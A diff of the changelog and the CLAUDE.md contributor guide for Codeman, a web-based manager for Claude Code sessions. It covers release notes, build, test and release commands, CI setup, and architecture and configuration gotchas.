+- Mobile keyboard accessory bar: add configurable "Extended Keyboard Bar" setting (Settings > Display > Input) that toggles between simple mode (up/down arrows, /init, /clear, /compact, paste, dismiss) and extended mode (adds left/right arrows, Tab, Shift+Tab, Ctrl+O, Alt+Enter, Esc). Default is simple mode. Setting is device-specific (not synced to server).
+
+  Restyle dismiss button: muted steel-blue tone, fills remaining bar space via flex, larger tap target. Arrow buttons now blue.
+
+  Fix paste overlay visibility on mobile: dialog repositioned to top of screen (15vh from top) so the virtual keyboard doesn't cover it. Textarea enlarged for better usability.
+
+  (Also includes all v0.5.8 changes: case reorder/delete, XSS sanitization, auto-attach PTY on restart, mobile keyboard buttons, macOS installer fixes, terminal flicker fix, state store collision fix.)
+
+## 0.5.8
+
+### Patch Changes
+
+- Case management: add Manage tab with reorder (up/down arrows) and delete for cases; linked cases are unlinked (folder preserved), CASES_DIR cases are permanently deleted. New endpoints: DELETE /api/cases/:name, PUT /api/cases/order. SSE events: case:deleted, case:order-changed.
+
+  Security: sanitize case names from filesystem with /^[a-zA-Z0-9_-]+$/ regex before returning from GET /api/cases to prevent XSS via maliciously-named directories reaching frontend inline onclick handlers.
+
+  Auto-attach PTY: server now calls startInteractive() for recovered tmux sessions during startup so all sessions resume capturing output immediately after deploy, instead of waiting for client selection. Frontend auto-attach condition relaxed from (pid===null && status==='idle') to (pid===null && !\_ended).
+
+  Mobile keyboard accessory: add Shift+Tab, Tab, Esc, Alt+Enter, Left/Right arrow, and Ctrl+O buttons.
+
+  Terminal: fix flicker regression by moving viewport clear inside dimension guard.
+
+  State store: fix temp file collisions on concurrent writes.
+
+  macOS: fix installer failures when piped via curl | bash, add HTML cache support, launchd service template, and trust dialog handling.
+
+  Housekeeping: remove accidentally committed dist/state-store.js build artifact.
+
+## 0.5.7
+
+### Patch Changes
+
+- feat: support "Default (CLI default)" option for model selection. Adds a new empty-value option to the model dropdown that defers to the CLI's own default model instead of forcing a specific model. Ensures empty defaultModel values are treated as undefined when passed to session creation and Ralph loop start, preventing empty strings from being sent as model flags.
+
+## 0.5.6
+
+### Patch Changes
+
+- fix: default new sessions to opus[1m] (1M context window) instead of plain opus (200k context)
+
+## 0.5.5
+
+### Patch Changes
+
+- Add 1M Opus context quick setting — per-case and global toggle that writes `model: "opus[1m]"` to `.claude/settings.local.json` when creating new sessions. Fix mobile layout: banners (respawn, timer, orchestrator) between header and main content now visible by switching from margin-top on `.main` to padding-top on `.app`. Add tablet-optimized respawn banner styles and mobile phone banner refinements.
+
+## 0.5.4
+
+### Patch Changes
+
+- Fix terminal flicker regression — re-add server-side DEC 2026 synchronized output wrapping around batched terminal data. Ink spinner frames (cursor-up + redraw cycles) do not emit their own DEC 2026 markers, so without the server wrapper each partial cursor update rendered individually causing visible flicker. Also: extract SSE stream management, session listener wiring, and respawn event wiring from server.ts into dedicated modules; deduplicate error message extraction across 7 files with shared getErrorMessage() helper; update SSE event count in CLAUDE.md (106 → 117).
+
+## 0.5.3
+
+### Patch Changes
+
+- Readability refactor across 12 core files, extracting ~35 helper methods to reduce duplication:
+  - state-store: extract serializeState(), split assembleStateJson() into focused sub-methods
+  - session: extract \_resetBuffers() (3x dedup), \_clearAllTimers() (10 timer cleanups), \_handleJsonMessage()
+  - ralph-tracker: extract completeAllTodos() (4x dedup), emitValidationWarning(), named similarity constants
+  - subagent-watcher: extract markSubagentAsCompleted(), extractFirstTextContent(), emitToolResult(), findOldestInactiveAgent()
+  - respawn-controller: extract recoveryResetToWatching(), canAutoAccept(), formatRemainingSeconds(), validatePositiveTimeout()
+  - tmux-manager: replace 15 path.includes() with UNSAFE_PATH_CHARS regex, extract buildEnvExports/buildPathExport/\_configureOpenCode helpers
+  - session-auto-ops: extract executeWhenIdle() shared retry helper, convert to options object, add validateThreshold()
+  - app.js: add \_clearTimer() (11 call sites), \_isStaleSelect(), keyboard shortcut lookup table, \_cleanupPreviousSession(), \_resetAllAppState()
+  - route-helpers: add readJsonConfig() (5 inline patterns replaced), validateSessionFilePath() (2 duplicated blocks replaced)
+
+## 0.5.2
+
+### Patch Changes
+
+- Make buffer size limits configurable via CODEMAN\_\* environment variables (MAX_TERMINAL_BUFFER, TRIM_TERMINAL_TO, MAX_TEXT_OUTPUT, TRIM_TEXT_TO, MAX_MESSAGES), falling back to existing defaults. Allows users with fewer sessions or more RAM to tune buffer sizes without patching source.
+
+  Fix duplicate terminal output on tab switch to busy sessions by clearing the terminal before writing the new buffer.
+
+  Fix stale Ink CUP frames after tab switch by sending Ctrl+L to force a clean redraw.
+
+  Fix mobile CJK input handling: resolve textarea positioning, terminal flicker during composition, and layout overflow on small screens. Improve CJK composition lifecycle with better event handling and fallback flush timers.
+
+## 0.5.1
+
+### Patch Changes
+
+- refactor: codebase cleanup — extract route helpers, eliminate boilerplate, optimize hot paths
+  - Add `parseBody()` helper to route-helpers.ts: validates request body against Zod schema with structured 400 error on failure, replacing 37 identical safeParse + error-check blocks across 10 route files
+  - Add `persistAndBroadcastSession()` helper: combines persist + SessionUpdated broadcast into one call, replacing 5 repeated 2-line pairs
+  - Migrate session-routes.ts to use `findSessionOrFail()` consistently (17 inline session lookups replaced) and `parseBody()` (12 patterns)
+  - Migrate ralph-routes.ts to use `findSessionOrFail()` (9 lookups) and `parseBody()` (4 patterns)
+  - Migrate 8 remaining route files to use `parseBody()` (21 patterns total)
+  - Fix O(n log n) eviction in bash-tool-parser.ts: replace `Array.from().sort()[0]` with O(n) min-scan for oldest active tool
+  - Extract `_debouncedCall()` utility in frontend: replaces 4 manual debounce patterns (7 lines each → 1 line) in app.js, panels-ui.js, ralph-panel.js
+  - Net reduction: 208 lines removed across 16 files
+
+## 0.5.0
+
+### Minor Changes
+
+- Visual redesign with glass morphism, refined colors, and polished UI. Optimize history endpoint with buffer reuse and line iterator. Fix Ink frame search window (4KB→64KB) to prevent partial frames. Fix stale terminal data on tab switch via chunkedTerminalWrite cancellation. Improve history prompt extraction with expanded command filtering and tail scan fallback. Align case select group height to match dropdown. Fix no-control-regex lint error for ANSI strip pattern. Add browser-testing-guide to CLAUDE.md references.
+
+## 0.4.7
+
+### Patch Changes
+
+- feat: improve session navigability in history and monitor panel (closes #45)
+  - History items now show the first user prompt as the title with the project path as a subtitle, making it much easier to distinguish sessions from the same project
+  - The `/api/history/sessions` endpoint extracts the first user message from each transcript JSONL, stripping system-injected XML tags and command artifacts, truncating to 120 chars
+  - Monitor panel session rows are now clickable — clicking navigates directly to that session's tab via `selectSession()`; Kill button retains independent behavior via `stopPropagation()`
+  - Updated CLAUDE.md architecture tables to reflect Orchestrator Loop additions (14 route modules, 15 type files, orchestrator domain files, orchestrator-panel.js frontend module)
+  - fix: stop subagent monitor windows from auto-opening on discovery
+  - feat: add Orchestrator Loop with phased plan execution, live progress during plan generation, and toolbar button (hidden until fully tested)
+  - fix: patch 3 production bugs found during deep audit
+  - fix: restore mobile terminal scrollback using JS scrollLines() instead of broken native scroll
+
+## 0.4.6
+
+### Patch Changes
+
+- Fix mobile keyboard scroll and layout issues:
+  - Prevent iOS Safari from scrolling the page when typing with the keyboard open (position:fixed on .app + window.scroll reset)
+  - Eliminate dead space between terminal and keyboard accessory bar by removing redundant CSS padding, tightening JS padding constant, and adding row quantization gap compensation
+  - Fix toolbar overlapping terminal content when keyboard is hidden by adding proper padding-bottom to .main, including iOS Safari bottom bar offset
+  - Strip Ink spinner bloat from terminal buffer before tailing
+  - Fix resolveCasePath priority order and suppress JSON parse warnings
+
 ## 0.4.5
 
 ### Patch Changes

CLAUDE.md

@@ -6,11 +6,12 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
 
 | Task | Command |
 |------|---------|
-| Dev server | `npx tsx src/index.ts web` |
+| Dev server | `npm run dev` (or `npx tsx src/index.ts web`) |
 | Type check | `tsc --noEmit` |
 | Lint | `npm run lint` (fix: `npm run lint:fix`) |
 | Format | `npm run format` (check: `npm run format:check`) |
-| Single test | `npx vitest run test/<file>.test.ts` |
+| Single test | `npm test -- test/<file>.test.ts` (or `npx vitest run --config config/vitest.config.ts test/<file>.test.ts`) — ⚠ **never** run bare `npm test`, see Testing section |
+| Build | `npm run build` (esbuild via `scripts/build.mjs`, NOT tsc — `tsc --noEmit` is type-check only) |
 | Production | `npm run build && systemctl --user restart codeman-web` |
 
 ## CRITICAL: Session Safety
@@ -29,11 +30,11 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
 2. **Frontend changes**: Use Playwright to load the page and assert the UI renders correctly. Use `waitUntil: 'domcontentloaded'` (not `networkidle` — SSE keeps the connection open). Wait 3-4s for polling/async data to populate, then check element visibility, text content, and CSS values
 3. **Only after verification passes**, proceed with COM
 
-The production server caches static files for 1 year (`maxAge: '1y'` in `server.ts`). After deploying frontend changes, users may need a hard refresh (Ctrl+Shift+R) to see updates.
+The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an *absolute* URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.
 
 ## COM Shorthand (Deployment)
 
-Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@changesets/cli`.
+Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@changesets/cli`. What SemVer actually covers (the CLI + documented env vars are public; the HTTP/SSE API, on-disk state, and experimental features are internal/unstable) is defined in `docs/versioning-policy.md`. Security reporting + known limitations live in `SECURITY.md`.
 
 When user says "COM":
 1. **Determine bump type**: `COM` = patch (default), `COM minor` = minor, `COM major` = major
@@ -48,46 +49,66 @@ When user says "COM":
    CHANGESET
    ```
    Replace `patch` with `minor` or `major` as needed. Include `"xterm-zerolag-input": patch` on a separate line if that package changed too.
-3. **Consume the changeset**: `npm run version-packages` (bumps versions in `package.json` files and updates `CHANGELOG.md`)
+3. **Consume the changeset**: `npm run version-packages` (auto-bumps `package.json` files, updates `CHANGELOG.md`, runs `npm install --package-lock-only`, and verifies lockfile sync via `scripts/check-lockfile-sync.mjs` — all in one command; never hand-edit `CHANGELOG.md` or `package-lock.json` versions)
 4. **Sync CLAUDE.md version**: Update the `**Version**` line below to match the new version from `package.json`
 5. **Commit and deploy**: `git add -A && git commit -m "chore: version packages" && git push && npm run build && systemctl --user restart codeman-web`
+6. **Wait for CI**: after `git push`, find the run with `gh run list -L 1 --json databaseId,headBranch -q '.[0].databaseId'` and watch it with `gh run watch <id> --exit-status`. Confirm all checks pass before considering the release done.
 
-**Version**: 0.4.5 (must match `package.json`)
+CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
+
+**Version**: 1.1.5 (must match `package.json`)
 
 ## Project Overview
 
 Codeman is a Claude Code session manager with web interface and autonomous Ralph Loop. Spawns Claude CLI via PTY, streams via SSE, supports respawn cycling for 24+ hour autonomous runs.
 
-**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports both Claude Code and OpenCode AI CLIs via pluggable CLI resolvers.
+**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports Claude Code, OpenCode, and Codex (OpenAI) CLIs via pluggable CLI resolvers (`SessionMode = 'claude' | 'shell' | 'opencode' | 'codex'`).
 
 **TypeScript Strictness** (see `tsconfig.json`): `noUnusedLocals`, `noUnusedParameters`, `noImplicitReturns`, `noImplicitOverride`, `noFallthroughCasesInSwitch`, `allowUnreachableCode: false`, `allowUnusedLabels: false`.
 
-**Requirements**: Node.js 18+, Claude CLI, tmux
+**Requirements**: Node.js 22+, Claude CLI, tmux
 
 **Git**: Main branch is `master`. SSH session chooser: `sc` (interactive), `sc 2` (quick attach), `sc -l` (list).
 
 ## Additional Commands
 
-`npm run dev` = dev server. Default port: `3000`. Commands not in Quick Reference:
+`npm run dev` = dev server. Default port: `3000` (override with `--port` or the `CODEMAN_PORT` env var). To run this beta isolated alongside a prod Codeman, use `scripts/run-beta.sh` (sets `CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). Commands not in Quick Reference:
 
 | Task | Command |
 |------|---------|
 | Dev with TLS | `npx tsx src/index.ts web --https` |
+| Override window title hostname | `npx tsx src/index.ts web --title-hostname <name>` (default: `os.hostname()` — `codeman:<name>` is used for tab title, title-flash, and OS desktop notification prefix) |
+| Bind a non-loopback host | `npx tsx src/index.ts web --host 0.0.0.0` (or `-H`; env `CODEMAN_HOST`; default `127.0.0.1`). Without `CODEMAN_PASSWORD` it **starts but warns loudly** — see Common Gotchas + `docs/security-architecture.md` |
 | Continuous typecheck | `tsc --noEmit --watch` |
 | Test coverage | `npm run test:coverage` |
+| Dead-code sweep | `npm run knip` (config in `knip.json`) |
+| Rebuild gesture overlay | `npm run build:gesture` (esbuild `packages/gesture-control/src/codeman/entry.ts` → `src/web/public/gesture/gesture-codeman.js`; commit the result) |
+| Gesture playground | `npm run dev` **in** `packages/gesture-control/` (standalone vite demo, fake tabs) |
+| Check public-asset formatting | `npm run check:public-assets` (prettier-checks `src/web/public/**` text assets; `scripts/check-public-assets.mjs`) |
+| Frontend JS syntax check | `npm run check:frontend-syntax` (`scripts/check-frontend-syntax.mjs`; runs in CI) |
+| CI-equivalent test sweep | `npm run test:ci` (full suite minus browser/perf — see Testing) |
 | Production start | `npm run start` |
 | Production logs | `journalctl --user -u codeman-web -f` |
 
-**CI**: `.github/workflows/ci.yml` runs `typecheck`, `lint`, `format:check` on push to master (Node 22). Tests excluded (they spawn tmux).
+**CI**: `.github/workflows/ci.yml` (push to master/main + PRs, Node 22) runs two jobs: **(1)** `check:lockfile`, `typecheck`, `lint`, `check:frontend-syntax`, `format:check`, then a **server boot smoke test** (`tsx src/index.ts web --port 3151` must answer `/api/status` within 30s); **(2)** the **unit/integration test suite** via `npm run test:ci` (`config/vitest.ci.config.ts` — excludes the browser-driven `test/mobile/**` suite, `perf-*` benchmarks, and 3 Playwright tests). Tests are tmux-safe in CI: `TmuxManager` no-ops all shell commands under `VITEST` (see Testing).
 
-**Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint flat config (`eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `tools/**`, `remotion/**`.
+**Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint flat config (`config/eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `scripts/remotion/**`.
 
 ## Common Gotchas
 
 - **Single-line prompts only** — `writeViaMux()` sends text+Enter separately; multi-line breaks Ink
 - **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
-- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly
-- **Global regex `lastIndex`** — Use `createAnsiPatternFull/Simple()` factories, not shared `g`-flag patterns in loops
+- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
+- **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
+- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift
+- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
+- **Model choice flows via `settings.local.json`, NOT `--model` or env** — the App Settings **Claude Model** picker (`claudeModel` in `settings.json`) is read by `session-ui.js` at session create (wins over the legacy 1M-Opus toggles `opusContext1m`/`opusContext1mEnabled`), sent as the `modelOverride` payload field, and `updateCaseModel()` (`hooks-config.ts`) writes/deletes the `model` key in `<case>/.claude/settings.local.json`. This is the intended exception to the envOverrides rule above: model legitimately lives in `settings.local.json` (a soft default — in-session `/model` still works); env vars do not
+- **Multi-CLI prefix discipline** — Codeman supports Claude Code, OpenCode, and Codex (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts` / `codex-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward all prefixes. See `docs/opencode-integration.md` for the OpenCode resolver design
+- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
+- **`xterm-zerolag-input` is single-source — edit the package, then rebuild the bundle** — the local-echo overlay source lives ONLY in `packages/xterm-zerolag-input/src/` (`zerolag-input-addon.ts`; also published to npm as a standalone library — see README "Published Packages"). It is bundled (esbuild → IIFE, with appended `window.LocalEchoOverlay` aliases) into the **gitignored** `src/web/public/vendor/xterm-zerolag-input.js` by `scripts/postinstall.js` (for dev/`tsx`) and into `dist/.../vendor/` by `scripts/build.mjs:50` (for prod). `app.js` only **consumes** it via `new LocalEchoOverlay(terminal)` — there is NO inline copy to keep in sync. So: change behavior in the package source, then re-run the bundle step (`npm install` reruns postinstall; `npm run build` for prod); **never hand-edit `app.js` for overlay behavior or commit the gitignored vendor bundle**. A public-API break in the package still warrants a separate `xterm-zerolag-input` version bump in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
+- **Default bind is loopback-only; non-loopback without a password starts but warns** — since COD-29 (PR #107) the web server defaults to `--host 127.0.0.1` (was `0.0.0.0`). As of **0.9.0** binding a non-loopback host (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **no longer refuses to start — it starts and prints a loud warning** listing the fixes (set `CODEMAN_PASSWORD`, bind loopback + tunnel/`tailscale serve`, or `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` to acknowledge → terser note). Host classification is `isLoopbackBindHost()` in `network-auth-policy.ts`; the warn-vs-start logic is in `server.ts` `start()`; flags wired in `cli.ts`. ⚠️ Operational note: the production systemd unit runs `node dist/index.js web --https` with no `--host`, so it binds **localhost only** — reach it remotely via `tailscale serve`/tunnel to `127.0.0.1`, or add `Environment=CODEMAN_HOST=0.0.0.0` + `Environment=CODEMAN_PASSWORD=…` to `~/.config/systemd/user/codeman-web.service`. A loopback bind is reachable through a same-host tunnel (cloudflared/tailscale → `127.0.0.1`) but NOT by a browser hitting the box's LAN IP. Auth user defaults to `admin`. **Full model: `docs/security-architecture.md`.**
+- **Instance isolation / multi-instance attach danger** — data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`). ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions** (`tmux -L codeman attach-session …`), resizing/mutating them — `$HOME` isolation is NOT enough (tmux is system-global). To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes BOTH dir+socket: `~/.codeman-<name>` + `-L codeman-<name>`), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually. **`CODEMAN_INSTANCE` defaults to empty = the production layout (`~/.codeman`, `-L codeman`, port 3000)**, so this branch is safe to ship to master without disturbing existing installs. To run THIS beta alongside prod, launch with `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`) — it never collides with prod's data dir/socket/port. Any new `~/.codeman/...` path MUST go through `dataPath()`, never `join(homedir(), '.codeman', …)`.
+- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — `scripts/capture-real-overview.mjs` (drives a live session in headless Chromium → overview PNG). Two traps, both observed 2026-06-14: **(1) DSF=2 doubles the console font.** xterm's WebGL renderer draws terminal glyphs at ~2× their nominal size under `deviceScaleFactor: 2`, while STILL reporting nominal cell dims (`terminal.cols`/`_renderService.dimensions.css.cell` say 8px/187cols — they lie), so it's invisible to any internal measurement and only the pixels reveal it. The HTML chrome (header/toolbar) is unaffected → ONLY the console font looks comically large. Default to **DSF=1** (script does); the image is 1× res but the font is true-to-browser. **(2) Stable filenames → stale renders.** Overwriting a fixed path (`claude-overview.png`) in place leaves OS image viewers (eog/feh) — and any HTTP client behind a long/`immutable` cache — showing the OLD render; the user reads it as "the fix didn't work". The script now mints a timestamped `claude-overview-<ts>.png` per run. ⚠️ This was a LOCAL image-viewer cache, NOT a Codeman serving bug: `file-routes` previews send `Cache-Control: no-cache` and `/api/screenshots/:name` sends none. The one real Codeman-side footgun: `server.ts` serves non-content-hashed static assets `public, max-age=31536000, immutable`, and `cacheBustAssets()` only rewrites `.js`/`.css` refs — a stable-named **image** referenced from public/ would go stale on overwrite. Reflect the per-device UI to match a real device when capturing: seed `localStorage` `codeman:skin`, `codeman-font-size`, and the desktop `codeman-app-settings` blob (the plan-usage chip is a per-device display key deleted from the server payload — a fresh browser hides it unless seeded; close side panels for a full-width terminal).
 
 **Import conventions**: Utils from `./utils`, types from `./types` (barrel), config from specific `./config/*` files.
 
@@ -98,27 +119,29 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 | Domain | Key files | Notes |
 |--------|-----------|-------|
 | **Entry** | `src/index.ts`, `src/cli.ts` | |
-| **Session** | `src/session.ts` ★, `src/session-manager.ts`, `src/session-auto-ops.ts`, `src/session-cli-builder.ts`, `src/session-lifecycle-log.ts`, `src/session-task-cache.ts` | |
-| **Mux** | `src/mux-interface.ts`, `src/mux-factory.ts`, `src/tmux-manager.ts` | |
+| **Session** | `src/session.ts` ★, `src/session-manager.ts`, `src/session-auto-ops.ts`, `src/session-cli-builder.ts`, `src/session-lifecycle-log.ts`, `src/session-task-cache.ts`, `src/usage-limit-patterns.ts`, `src/usage-telemetry.ts` | |
+| **Mux** | `src/mux-interface.ts`, `src/mux-factory.ts`, `src/tmux-manager.ts` ★ | |
 | **Respawn** | `src/respawn-controller.ts` ★ + 4 helpers (`-adaptive-timing`, `-health`, `-metrics`, `-patterns`) | Read `docs/respawn-state-machine.md` first |
 | **Ralph** | `src/ralph-tracker.ts` ★, `src/ralph-loop.ts` + 5 helpers (`-config`, `-fix-plan-watcher`, `-plan-tracker`, `-stall-detector`, `-status-parser`) | Read `docs/ralph-wiggum-guide.md` first |
-| **Agents** | `src/subagent-watcher.ts` ★, `src/team-watcher.ts`, `src/bash-tool-parser.ts`, `src/transcript-watcher.ts` | |
+| **Orchestrator** | `src/orchestrator-loop.ts`, `src/orchestrator-planner.ts`, `src/orchestrator-verifier.ts` | Read `docs/orchestrator-loop-architecture.md` first |
+| **Agents** | `src/subagent-watcher.ts` ★, `src/team-watcher.ts`, `src/bash-tool-parser.ts`, `src/transcript-watcher.ts`, `src/workflow-run-watcher.ts` | `workflow-run-watcher` is STANDALONE (never touches `subagent-watcher`) — see Key Patterns |
 | **AI** | `src/ai-checker-base.ts`, `src/ai-idle-checker.ts`, `src/ai-plan-checker.ts` | |
 | **Tasks** | `src/task.ts`, `src/task-queue.ts`, `src/task-tracker.ts` | |
 | **State** | `src/state-store.ts`, `src/run-summary.ts`, `src/session-lifecycle-log.ts` | |
 | **Infra** | `src/hooks-config.ts`, `src/push-store.ts`, `src/tunnel-manager.ts`, `src/image-watcher.ts`, `src/file-stream-manager.ts` | |
-| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/claude-md.ts` | |
-| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (13 route modules incl. `ws-routes.ts` + barrel), `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts` | |
-| **Frontend** | `src/web/public/app.js` (~2.6K lines, core) + 5 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`) + 6 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 4 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `input-cjk.js`) + `sw.js` | |
-| **Types** | `src/types/index.ts` → 13 domain files | See `@fileoverview` in index.ts |
+| **Attachments** | `src/attachment-registry.ts`, `src/attachment-magic.ts`, `src/session-attachment-history.ts`, `src/document-preview-cache.ts`, `src/document-thumbnailer.ts`, `src/document-conversion-limiter.ts`, `src/config/attachment-guard.ts` | See Key Patterns |
+| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/` (`claude-md.ts` + `case-template.md`, the CLAUDE.md scaffold generated into new cases) | |
+| **Web** | `src/web/server.ts` ★, `src/web/sse-events.ts`, `src/web/routes/*.ts` (16 route modules + barrel; `session-routes.ts` ★), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts`, `src/web/self-update.ts`, `src/web/plan-usage-latest.ts` | |
+| **Frontend** | `src/web/public/app.js` (~3.9K lines, core) + 6 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`, `sanitize-html.js` — DOMPurify mXSS allowlist, COD-56) + 8 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `ultracode-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 6 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `ultracode-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | `ultracode-windows.js` = floating run windows w/ tab connector lines (additional to the dock panel) |
+| **Types** | `src/types/index.ts` (barrel) → 16 domain files (incl. `workflow-run.ts`); also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
 
-★ = Large file (>50KB). All files have `@fileoverview` JSDoc — read that before diving in.
+★ = Large, central file (>50KB) — read its `@fileoverview` first. All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
 
-**Local package**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; copy embedded in `app.js`.
+**Local packages**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; single-source, bundled to the gitignored `vendor/xterm-zerolag-input.js` and consumed by `app.js` (see Gotchas). `packages/gesture-control/` (`codeman-gesture-control`) — hand-tracking overlay source; built to `src/web/public/gesture/gesture-codeman.js` via `npm run build:gesture` (see Frontend → Gesture control).
 
-**Config**: `src/config/` — 9 files. Import from specific files, not barrel.
+**Config**: `src/config/` — 14 files, no barrel (`index.ts`) exists; import from the specific file.
 
-**Utilities**: `src/utils/` — re-exported via index. Key: `CleanupManager`, `LRUMap`, `StaleExpirationMap`, `BufferAccumulator`, `stripAnsi`, `Debouncer`, `KeyedDebouncer`. Also: `claude-cli-resolver`/`opencode-cli-resolver` (CLI path resolution), `string-similarity` (fuzzy matching), `regex-patterns` (ANSI/token/spinner patterns), `assertNever` (exhaustive checks).
+**Utilities**: `src/utils/` — re-exported via index. Key: `CleanupManager`, `LRUMap`, `StaleExpirationMap`, `BufferAccumulator`, `stripAnsi`, `Debouncer`, `KeyedDebouncer`. Also: `claude-cli-resolver`/`opencode-cli-resolver`/`codex-cli-resolver` (CLI path resolution), `string-similarity` (fuzzy matching), `regex-patterns` (ANSI/token/spinner patterns), `assertNever` (exhaustive checks), `token-validation` (auth tokens), `nice-wrapper` (process priority).
 
 ### Data Flow
 
@@ -133,48 +156,79 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Idle detection**: Multi-layer (completion message → AI check → output silence → token stability). See `docs/respawn-state-machine.md`.
 
-**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`.
